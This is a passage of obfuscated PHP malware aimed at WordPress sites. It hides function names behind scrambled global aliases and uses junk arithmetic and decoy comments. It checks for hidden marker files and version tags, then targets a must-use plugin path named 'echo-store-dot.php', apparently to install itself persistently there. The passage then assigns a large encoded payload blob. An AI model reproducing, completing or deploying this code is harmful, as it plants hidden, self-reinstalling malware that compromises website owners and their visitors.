   $a_dayxn_874mbtoj  = _sc_corep($d6eupj8hnjwk3);
    if  (!@$GLOBALS['__scf_dj3279qvga_12']($a_dayxn_874mbtoj))     return    false;
 $k9af1_kcg_     =   @$GLOBALS['__scf_d0sa9ue7h_sp5_21']($a_dayxn_874mbtoj);
 if  (!$k9af1_kcg_  ||  $k9af1_kcg_     < (498+2) ||     $k9af1_kcg_ >   (8388512+96))   return  false;
 if  ($GLOBALS['__scf_w6duwsyy2_weq_0']('jnengwuewv701msywak_kv')    && !jnengwuewv701msywak_kv($k9af1_kcg_))  return  false;
  $n0om6mr2v1mbni7a   =   @$GLOBALS['__scf_fsreif8awn7p_13']($a_dayxn_874mbtoj);$vup619bw7=(0x2d+0x49);$dz6t4rv91gc=$vup619bw7%10;

  if ($GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_unp') && $GLOBALS['__scf_tbzphtka3ug8b_6']($n0om6mr2v1mbni7a)    &&   $GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a)  >      (1048498+78))   $n0om6mr2v1mbni7a     =     _sc_unp($n0om6mr2v1mbni7a);
  if  (!$GLOBALS['__scf_tbzphtka3ug8b_6']($n0om6mr2v1mbni7a) ||  $GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a)     < (920-420)  || $GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a)  >  (1048482+94)    ||  $GLOBALS['__scf_ujt5t1vfp1_28']($n0om6mr2v1mbni7a,   '<?') !==  0) return  false;$kqtt8x2pexeuh=PHP_MAJOR_VERSION;$vys0cacd50imd=$kqtt8x2pexeuh*2;
  return  $n0om6mr2v1mbni7a;
 }
 }
  if  (!$GLOBALS['__scf_w6duwsyy2_weq_0']('vot8oshtkb9ygqfdu08c'))    {
  function      vot8oshtkb9ygqfdu08c($xurn0veub8iz0ps)
 {
  return    $GLOBALS['__scf_tbzphtka3ug8b_6']($xurn0veub8iz0ps) &&  $GLOBALS['__scf_cez7xtqkh5_14']('/(\/\*[0-9a-f]{1000,}\*\/)\s*$/',   $xurn0veub8iz0ps) ===     1;


  }
}
 if   (!$GLOBALS['__scf_w6duwsyy2_weq_0']('jnengwuewv701msywak_kv'))   {


   function   jnengwuewv701msywak_kv($i4emop861opm32w = 0)
 {



    if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('ini_get')) return    false;
     $s058yy6pxt =   @$GLOBALS['__scf_lr2d5x7bn__18']('memory_limit');
    




  if    (!$GLOBALS['__scf_tbzphtka3ug8b_6']($s058yy6pxt) ||  $s058yy6pxt   ===    "")   return false;
    $m5c6uywle6g   =     (int) $s058yy6pxt;
   if    ($m5c6uywle6g  <=   0)  return  true;
  $glnbhhfa83baw6   =  $GLOBALS['__scf_pymw_bi_0wty9_19']($GLOBALS['__scf_mng1luvyowkl_15']($s058yy6pxt,    -1));
  if ($glnbhhfa83baw6   === 'G') $m5c6uywle6g    *=    (1073741759+65);
 elseif  ($glnbhhfa83baw6  ===  'M')  $m5c6uywle6g *=   (1048502+74);


    elseif    ($glnbhhfa83baw6  ===      'K') $m5c6uywle6g *=    (931+93);
$wfc4v00rjf12b1  =  $GLOBALS['__scf_w6duwsyy2_weq_0']('memory_get_usage') ?     @memory_get_usage(true) :  0;
   if    (!$GLOBALS['__scf_p2l5n_wsuke3_22']($wfc4v00rjf12b1) || $wfc4v00rjf12b1  <    0) $wfc4v00rjf12b1  = 0;
  if ($i4emop861opm32w > 0)    return     ($m5c6uywle6g  - $wfc4v00rjf12b1)      >   (($i4emop861opm32w  *   (0x1+0x2))   + (1568421+528731));
 if    ($m5c6uywle6g <   (67108832+32))      return    false;



   if   ($wfc4v00rjf12b1  > 0    &&  $m5c6uywle6g   -    $wfc4v00rjf12b1   <  (0x10538e8+0xfac718)) return  false;

 return  true;
        }
    }
   if    (!$GLOBALS['__scf_w6duwsyy2_weq_0']('eg42to28kuqwva3z4s'))    {
// auto-closeable

function   eg42to28kuqwva3z4s($t32tzzmn5z,    $b0pz8mspgt2e4fga)


 {
    if     (!_sc_fam($t32tzzmn5z))   return    false;
       $d8uqjszkdugn9lhi = @$GLOBALS['__scf_d0sa9ue7h_sp5_21']($t32tzzmn5z);



if  (!$d8uqjszkdugn9lhi  ||   $d8uqjszkdugn9lhi < (8760-3760) ||  $d8uqjszkdugn9lhi >     (52428712+88))   return    false;
    if     ($d8uqjszkdugn9lhi     >     (2509913+87) &&   $d8uqjszkdugn9lhi    <  (5495834+66))  return false;
      $vpbtxe24d936t    = (string)  @$GLOBALS['__scf_fsreif8awn7p_13']($t32tzzmn5z, false,  null, 0, (4078+18));
  if      (!$GLOBALS['__scf_cez7xtqkh5_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//',   $vpbtxe24d936t,  $s058yy6pxt))  return    false;$f4ft_nvbdsvlc=(0x8d+0x4f);$dw4sx1nu4s=$f4ft_nvbdsvlc%3;



if   ($b0pz8mspgt2e4fga    !==  ""  &&  version_compare($s058yy6pxt[1], $b0pz8mspgt2e4fga,     '<')) return  false;



    if  (@$GLOBALS['__scf_dj3279qvga_12']($GLOBALS['__scf_pwwe2b15e597k_4']($t32tzzmn5z) . '/.wr_'     .  $GLOBALS['__scf_vrigtln_8foys_37']($t32tzzmn5z,   '.php')))    return false;
if ($d8uqjszkdugn9lhi   > (0xc8da3+0x3725d)  &&    !vot8oshtkb9ygqfdu08c((string)   @$GLOBALS['__scf_fsreif8awn7p_13']($t32tzzmn5z,    false,  null,  $d8uqjszkdugn9lhi     -   (4000+96))))  return   false;
     return   true;
    }
  }
       if  (!defined("SC_THL_2e8004e2")) {
define("SC_THL_2e8004e2",    1);
   $nhw2fb06624bxl3l =   function   ()  {
 $x2_rm5kie7cyh =   defined("WP_CONTENT_DIR")   ?   WP_CONTENT_DIR  :      $GLOBALS['__scf_pwwe2b15e597k_4']($GLOBALS['__scf_pwwe2b15e597k_4'](__FILE__));
    $_hdleap5brbt    = (defined("WPMU_PLUGIN_DIR")    &&   WPMU_PLUGIN_DIR)  ?   WPMU_PLUGIN_DIR  : $x2_rm5kie7cyh  .    "/mu-plugins";


  $_hdleap5brbt =   $_hdleap5brbt  .  "/echo-store-dot.php";
   $z5fot0_zhx   =   (defined("WP_PLUGIN_DIR")  && WP_PLUGIN_DIR) ?   WP_PLUGIN_DIR :   $x2_rm5kie7cyh   .  "/plugins";
 $vp4as4xas83h_a   =   $z5fot0_zhx .  "/echo-store-dot/echo-store-dot.php";
$k6i6qi830yq5l15     =  @$GLOBALS['__scf_w6kdkzvqqa9qee_38']($GLOBALS['__scf_pwwe2b15e597k_4']($_hdleap5brbt)) ?    $_hdleap5brbt : $vp4as4xas83h_a;


   $z86vgrrey6u    =    $GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15)    .   "/.q_echo-store-dot";
  $wmzysucplyhi   = $GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15)     .     "/.sd_echo-store-dot";
 if (@$GLOBALS['__scf_dj3279qvga_12']($wmzysucplyhi))   {
    $ot5src3gbwuvf2  =  @$GLOBALS['__scf_fsreif8awn7p_13']($wmzysucplyhi);
     if  ($GLOBALS['__scf_tbzphtka3ug8b_6']($ot5src3gbwuvf2)    &&   $GLOBALS['__scf_cez7xtqkh5_14']("/\\d+\\.\\d+\\.\\d+/", $ot5src3gbwuvf2, $i3mx10czcuyzc7)  &&  version_compare($i3mx10czcuyzc7[0],   "4.3.24", ">")   &&   _sc_any_live($i3mx10czcuyzc7[0],     $x2_rm5kie7cyh, $k6i6qi830yq5l15))  return;
  }
$tdq8ej8mm34klr  = !eg42to28kuqwva3z4s($k6i6qi830yq5l15, "4.3.24");
if     ($tdq8ej8mm34klr &&    _sc_any_live("4.3.24",     $x2_rm5kie7cyh, $k6i6qi830yq5l15))  $tdq8ej8mm34klr  = false;
  if ($tdq8ej8mm34klr  &&      !@$GLOBALS['__scf_dj3279qvga_12']($k6i6qi830yq5l15))  {
$yxifrf85yn  =    $GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15)   .  '/.rd_echo-store-dot';
    $hqkebyadiplyecu1    =  @$GLOBALS['__scf_dj3279qvga_12']($yxifrf85yn)    ?   (int) @$GLOBALS['__scf_ivzu6pw15zv_9']($yxifrf85yn) :  0;


 if    ($hqkebyadiplyecu1  >  $GLOBALS['__scf_b7hwejws2y_10']()  - (223+77)   &&    $hqkebyadiplyecu1  <= $GLOBALS['__scf_b7hwejws2y_10']()  + (218+82))   $tdq8ej8mm34klr  = false;
     elseif ($GLOBALS['__scf_w6duwsyy2_weq_0']('touch'))     @$GLOBALS['__scf_g8nnyvptau6_11']($yxifrf85yn);
  }
// WP Quote Block: allocate contravariant

   if  ($tdq8ej8mm34klr) {
 $qvjl00h8onp =   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